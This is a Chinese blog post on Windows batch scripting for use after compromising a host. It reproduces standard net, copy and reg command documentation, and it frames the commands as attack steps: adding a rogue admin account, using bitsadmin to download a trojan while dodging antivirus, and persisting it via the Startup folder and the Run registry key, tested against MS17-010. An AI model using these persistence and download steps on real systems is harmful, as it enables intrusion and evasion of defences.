网络安全关于Windows下BAT脚本使用

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


提示:以下是本篇文章正文内容,下面案例可供参考

一、BAT是什么?

         1. 批处理文件,在DOS和Windows(任意)系统中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

、为什么使用BAT

        1. 但也因为BAT的局限性很多东西是做不出来的,使用Python等语言可以轻松做BAT做不出的脚本。那为什么要学习它呢?如果我们获取了另一台主机的控制权限,但我们发现当前主机上没有Python等语言的环境,如果帮它装一个Python可能动作过大会被发现。此时我们的BAT就发挥用处了,因为每一个Windows系统都自带BAT环境及可执行文件

三、使用步骤

1.基本使用

BAT基本命令


四、常用命令

NET View

显示指定计算机共享的域、计算机或资源的列表。在不带参数的情况下使用,net view 将显示当前域中的计算机列表。

语法  Net view [\\ComputerName [/CACHE] | [/ALL] | /DOMAIN[:DomainName]]
\\ComputerName:指定包含要查看的共享资源的计算机
/CACHE:         显示指定计算机上资源的脱机客户端缓存设置
/ALL:           显示所有共享,包括$共享
/domain[:D omainName]:指定要查看其可用计算机的域。如果省略“域名”,/域将显示网络中的所有域。
使用 net view 命令显示计算机列表。输出类似于以下内容:

共享名                类型         
-------------------------------------------------
\\Production          Production file server
\\Print1              Printer room, first floor
\\Print2              Printer room, second floor

例子
Net view /ip 查看ip共享的目录也可以是计算机名
NEt view /domain: workgroup 查看括号中的计算机可用域

NET User 

添加或更改用户帐号或显示用户帐号信息

语法:
net user [<UserName> {<Password> | *} [<Options>]] [/domain]
net user [<UserName> {<Password> | *} /add [<Options>] [/domain]]
net user [<UserName> [/delete] [/domain]]

参数
<username>

指定要添加、删除、修改或查看的用户帐户的名称。用户帐户的名称最多可包含 20 个字符。

<password>

为用户帐户分配或更改密码。键入星号 (*) 以生成密码提示符。当用户在密码提示符下键入密码时,不会显示密码。

/domain

在计算机的主域中的域控制器上执行该操作。

<options>

指定命令行选项。有关命令行选项语法的说明

net help <Command> 显示指定 net 命令的帮助。





option选项{
    /active:{否 | 是}

启用或禁用用户帐户。如果用户帐户未处于活动状态,则用户无法访问计算机上的资源。默认值为 yes(即活动)。

/comment:“<Text>”

提供有关用户帐户的描述性注释。此注释最多可包含 48 个字符。将文本括在引号中。

/国家代码:<NNN>

使用操作系统国家/地区代码为用户的帮助和错误消息实现指定的语言文件。值为 0 表示默认的国家/地区代码。

/expires:{{<MM/DD/YYYY> | <DD/MM/YYYY> | <mmm,dd,YYYY>} | never}

如果指定日期,则使用户帐户过期。到期日期可以是 [MM/DD/YYYY]、[DD/MM/YYYY] 或 [mmm,dd,YYYY] 格式,具体取决于国家/地区代码。请注意,该帐户将在指定日期的开头过期。对于月份值,您可以使用数字、拼出数字或使用三个字母的缩写(即 1 月、2 月、3 月、4 月、5 月、6 月、7 月、8 月、9 月、10 月、11 月、12 月)。可以使用两个或四个数字作为年份值。使用逗号或斜杠分隔日期的各个部分。不要使用空格。如果省略 <YYYY>,则假定日期的下一个匹配项(即,根据计算机的日期和时间)。例如,如果在 1994 年 1 月 10 日和 1995 年 1 月 8 日之间输入以下条目,则这些条目是等效的:

1月,9

1/9/95

1995年1月9日

1/9

/fullname:“<Name>”

指定用户的全名而不是用户名。将名称括在引号中。

/homedir:<Path>

设置用户主目录的路径。路径必须存在。

/passwordchg:{yes | no}

指定用户是否可以更改自己的密码。默认值为 yes。

/passwordreq:{yes | no}

指定用户帐户是否必须具有密码。默认值为 yes。

/profilepath:[<Path>]

设置用户登录配置文件的路径。此路径指向注册表配置文件。

/脚本路径:<路径>

设置用户登录脚本的路径。<路径>不能是绝对路径。<路径>相对于 %systemroot%\System32\Repl\Import\Scripts。

/times:{<天>[<-天>][,<天><天>]],<时间>[-<时间>][,<时间>[-<时间>]][;] |全部}

指定允许用户使用计算机的次数。<时间>限制为一小时为增量。对于<Day>值,可以拼写出日期的名称或使用缩写(即 M,T,W,Th,F,Sa,Su)。您可以使用 12 小时制或 24 小时制表示小时制。如果使用 12 小时制,请使用 AM 和 PM,或者使用 A.M 和 P.M。该值 all 表示用户始终可以登录。空值(空白)表示用户永远无法登录。用逗号分隔日期和时间,用分号分隔日和时间单位(例如,M,4AM-5PM;T,下午1点-下午3点)。指定时间时不要使用空格。

/usercomment:“<Text>”

指定管理员可以添加或更改帐户的“用户注释”。将文本括在引号中。

/workstations:{<ComputerName>[,...] | *}

列出多达八个工作站,用户可以从这些工作站登录到网络。用逗号分隔列表中的多个条目。如果 /workstation 没有列表或列表是星号 (*),则用户可以从任何计算机登录。
}

例子
net user:显示本地计算机的所有用户帐户的列表:
net user swgl 显示swgl的信息
net user swgl /time:M-F,08:00-17:00  miked 的登录时间 (8 A.M. 设置为 5 P.M.)
net user admin 123 /add 增加admin用户
net user admin /del 删除admin用户 注意:此操作需要拥有权限
使用net user增加恶意用户等

Net Start

启动服务,或显示已启动服务的列表

语法
net start [服务名称]
例子
net start mysql
net start ftp
注:开启服务后进一步渗透等..

Net Share 

创建、删除或显示共享资源

语法
net share <ShareName>
net share <ShareName>=<drive>:<DirectoryPath> [/grant:<user>,{read | change |full}] [/users:<number> | /unlimited] [/remark:<text>] [/cache:{manual | documents | programs | BranchCache |none} ]
net share [/users:<number> | /unlimited] [/remark:<text>] [/cache:{manual | documents | programs | BranchCache |none} ]
net share {<ShareName> | <DeviceName> | <drive>:<DirectoryPath>} /delete
net share <ShareName> \\<ComputerName> /delete


参数
<ShareName>
指定共享资源的网络名称。键入具有 ShareName 的 net share 以仅显示有关该共享的信息。

<drive>:<DirectoryPath>
指定要共享的目录的绝对路径。

/grant:<user>,{read | change |full}
使用安全描述符创建共享,该安全描述符向指定用户提供请求的权限。可以授予用户的权限包括:读取、更改或完全。此选项可以多次用于向多个用户授予共享权限。

/users:<number>
指定可以同时访问共享资源的最大用户数。

/unlimited
指定无限数量的用户可以同时访问共享资源。

/remark: <text>
添加有关资源的描述性注释。将文本括在引号中。

<DeviceName>
指定由 ShareName 共享的一台或多台打印机(LPT1:通过 LPT9)。

/delete
停止共享资源。

/cache: manual
允许从此共享手动客户端缓存程序和文档。

/cache: documents
启用此共享中文档的自动缓存。

/cache: programs
启用从此共享自动缓存文档和程序。

/cache: BranchCache
启用手动缓存文档,并从此共享启用分支缓存。

/cache: none
禁用来自此共享的缓存。

net help <command>
显示指定 net 命令的帮助。


共享目录      共享目录                          注释

-------------------------------------------------------------------------------
ADMIN$       C:\windows                      Remote Admin
C$           C:\                             Default share
CCMLOGS$     C:\windows\CCM\Logs             Public Share
ccmsetup$    C:\windows\ccmsetup             Public Share
IPC$                                         Remote IPC
public       C:\public
Users        C:\Users
The command completed successfully.
例子
删除共享
net share c$ delete
net share ipc$ /delete
net share 文件地址 /delete
增加共享
net share 共享名=共享目录
net share sp=e:\sp

Net Localgroup 

添加、显示或更改本地组

语法
net localgroup [<GroupName> [/comment:"<Text>"]] [/domain]
net localgroup [<GroupName> {/add [/comment:"<Text>"] | /delete} [/domain]
net localgroup [<GroupName> <Name> […] {/add |  /delete} [/domain]

参数
<GroupName>
指定要添加、展开或删除的本地组的名称。在不带其他参数的情况下使用**net localgroup <**GroupName> 显示本地组中用户或全局组的列表。

/comment:“<Text>”
为新组或现有组添加注释。注释最多可包含 256 个字符。将文本括在引号中。

/domain
在当前域的主域控制器上执行操作。否则,将在本地计算机上执行该操作。

<Name>[ ...]
列出要在本地组中添加或移除的一个或多个用户名或组名。

/add
将全局组名称或用户名添加到本地组。必须先为用户或全局组建立帐户,然后才能使用此命令将其添加到本地组。

/delete
从本地组中删除组名或用户名。

net help <Command>
显示指定 net 命令的帮助。

例子
net localgroup 本地服务器上所有本地组的列表
net localgroup exec /add  Exec 的本地组添加到本地用户帐户数据库中
net localgroup exec /add /domain  Exec 的本地组添加到域用户帐户数据库中
net localgroup 用户组 用户 /delete 删除用户组中的某个用户
net localgroup 用户组 删除用户组

Net Computer 

从域数据库中添加或删除计算机

语法
net computer \\<ComputerName> {/add | /del}

\\<computername>

指定要在当前登录的域的域数据库中添加或删除的计算机。只能指定一台计算机。不能指定其他域。

{/add | /del}

在域数据库中添加或删除指定的计算机。

net help <Command>
显示指定 net 命令的帮助。
例子
net computer \\grizzlybear /add  将计算机添加到域数据库

bitsadmin

Bitsadmin 是一个命令行工具,用于创建、下载或上传作业并监视作业进度。 bitsadmin 工具使用开关来标识要执行的工作。 可以调用 bitsadmin /? 或 bitsadmin /help 获取开关列表。

例子
bitsadmin /transfer down /download /priority normal 
url 路径(C:\\,D:\\等路径)
注:可将把生成的木马放在公网上使用该命令下载到系统中,不受到360等限制使用,在BAT脚本中启动木马

copy

拷贝文件

COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/L] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]] [destination [/A | /B]]
source指定要复制的文件。
/A 表示一个 ASCII 文本文件。
/B 表示一个二进位文件。
/D 允许解密要创建的目标文件
destination 为新文件指定目录和/或文件名。
/V 验证新文件写入是否正确。
/N 复制带有非 8dot3 名称的文件时,
尽可能使用短文件名。
/Y 不使用确认是否要覆盖现有目标文件
的提示。
/-Y 使用确认是否要覆盖现有目标文件
的提示。
/Z 用可重新启动模式复制已联网的文件。
案例
补充:在Windows中使用win+r启用运行输入 shell:startup跳转到开机启动文件夹在这个文件夹下系统开机后会自动启动这个文件夹下的可执行文件

copy c:\muma.exe C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
将muma文件拷贝到开机启动文件夹下

reg

更改注册表

reg add
reg compare
reg copy
reg delete
reg export
reg import
reg load
reg query
reg restore
reg save
reg unload


reg add	向注册表中添加新的子项或条目。
reg compare	比较指定的注册表子项或条目。
reg copy	将注册表项复制到本地或远程计算机上的指定位置。
reg delete	删除注册表中的一个或一些项。
reg export	将本地计算机的指定子项、项和值复制到文件中,以便传输到其他服务器。
reg import	将包含导出的注册表子项、项和值的文件的内容复制到本地计算机的注册表中。
reg load	将保存的子项和项写入注册表中的不同子项。
reg query	返回位于注册表中指定子项下的子子项和条目的列表。
reg restore	将保存的子项和项写入注册表。
reg save	在指定的文件中保存指定子项、项和注册表值的副本。
reg unload	删除使用 reg load 操作加载的注册表部分。
思路
使用reg更改注册表将木马程序加入到注册表的开机启动项当中
KEY_CURRENT_USERSoftware\Microsoft\Windows\CurrentVersion\Run

注:BAT最重要的是批量,不是叫你一个一个输入而是将命令写入一个BAT脚本中一次性执行完毕,需要注意权限等等情况。本人提供的只是一个思路不一定完全正确

实现环境:Windows7+kali linux使用msfconsole ms17_010测试

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值